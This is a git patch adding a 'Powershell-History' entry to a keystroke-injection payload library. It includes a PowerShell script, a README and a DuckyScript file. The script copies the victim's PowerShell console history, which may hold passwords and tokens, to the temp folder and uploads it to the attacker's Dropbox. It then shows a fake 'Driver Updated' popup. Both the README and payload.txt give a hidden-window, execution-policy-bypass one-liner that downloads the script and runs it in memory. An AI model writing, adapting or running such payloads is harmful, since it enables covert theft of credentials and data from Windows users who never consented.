From 565a11451aaf96dba4459bd3209641c67f7c91a7 Mon Sep 17 00:00:00 2001 From: atomic <75549184+atomiczsec@users.noreply.github.com> Date: Sat, 29 Oct 2022 12:37:39 -0400 Subject: [PATCH] Add files via upload --- .../exfiltration/Powershell-History/PH.ps1 | 45 +++++++ .../exfiltration/Powershell-History/README.md | 110 ++++++++++++++++++ .../Powershell-History/payload.txt | 16 +++ 3 files changed, 171 insertions(+) create mode 100644 payloads/library/exfiltration/Powershell-History/PH.ps1 create mode 100644 payloads/library/exfiltration/Powershell-History/README.md create mode 100644 payloads/library/exfiltration/Powershell-History/payload.txt diff --git a/payloads/library/exfiltration/Powershell-History/PH.ps1 b/payloads/library/exfiltration/Powershell-History/PH.ps1 new file mode 100644 index 0000000..e5d2bd1 --- /dev/null +++ b/payloads/library/exfiltration/Powershell-History/PH.ps1 @@ -0,0 +1,45 @@ +#Powershell-History + +# See if file is a thing +Test-Path -Path "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -PathType Leaf + +#If the file does not exist, write to host. +if (-not(Test-Path -Path "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -PathType Leaf)) { + try { + Write-Host "The Powershell History file has not been found. " + } + catch { + throw $_.Exception.Message + } + } + # Copy Powershell History to Temp Directory to get sent to Dropbox + else { + $F1 = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_ps_history.txt" + Copy-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Destination "$env:tmp/$F1" + } + + +function DropBox-Upload { + + [CmdletBinding()] + param ( + + [Parameter (Mandatory = $True, ValueFromPipeline = $True)] + [Alias("f")] + [string]$SourceFilePath + ) + $DropBoxAccessToken = "YOUR-DROPBOX-ACCESS-TOKEN" # Replace with your DropBox Access Token + $outputFile = Split-Path $SourceFilePath -leaf + $TargetFilePath="/$outputFile" + $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' + $authorization = "Bearer " + $DropBoxAccessToken + $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" + $headers.Add("Authorization", $authorization) + $headers.Add("Dropbox-API-Arg", $arg) + $headers.Add("Content-Type", 'application/octet-stream') + Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers + } + +DropBox-Upload -f "$env:tmp/$F1" + +$done = New-Object -ComObject Wscript.Shell;$done.Popup("Driver Updated",1) diff --git a/payloads/library/exfiltration/Powershell-History/README.md b/payloads/library/exfiltration/Powershell-History/README.md new file mode 100644 index 0000000..429794d --- /dev/null +++ b/payloads/library/exfiltration/Powershell-History/README.md @@ -0,0 +1,110 @@ +

+ + + +

+ + +
+ Table of Contents +
    +
  1. Description
  2. +
  3. Getting Started
  4. +
  5. Contributing
  6. +
  7. Version History
  8. +
  9. Contact
  10. +
  11. Acknowledgments
  12. +
+
+ +# Powershell-History + +A payload to exfiltrate the history of the powershell console + +## Description + +This payload will enumerate through the powershell directories, looking for the file that stores the history of the powershell console + +These files will be saved to the temp directory + +Finally dropbox will be used to exfiltrate the files to cloud storage + +## Getting Started + +### Dependencies + +* DropBox or other file sharing service - Your Shared link for the intended file +* Windows 10 + +

(back to top)

+ +### Executing program + +* Plug in your device +* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory +``` +powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl +``` + +

(back to top)

+ +## Contributing + +All contributors names will be listed here + +atomiczsec + +I am Jakoby + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

📱 My Socials 📱

+
+ + + + + + +
+ + C# + +
YouTube +
+ + Python + +
Twitter +
+ + Jsonnet + +
I-Am-Jakoby's Discord +
+
+ +

(back to top)

+ + + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) + +

(back to top)

diff --git a/payloads/library/exfiltration/Powershell-History/payload.txt b/payloads/library/exfiltration/Powershell-History/payload.txt new file mode 100644 index 0000000..2a4c9b2 --- /dev/null +++ b/payloads/library/exfiltration/Powershell-History/payload.txt @@ -0,0 +1,16 @@ +REM Title: Powershell-History + +REM Author: atomiczsec + +REM Description: This payload is meant to exfiltrate powershells history to a dropbox, powershell is commonly used for IT automation + +REM Target: Windows 10 + +DELAY 2000 +GUI r +DELAY 500 +STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl +ENTER + +REM Remember to replace the link with your DropBox shared link for the intended file to download +REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1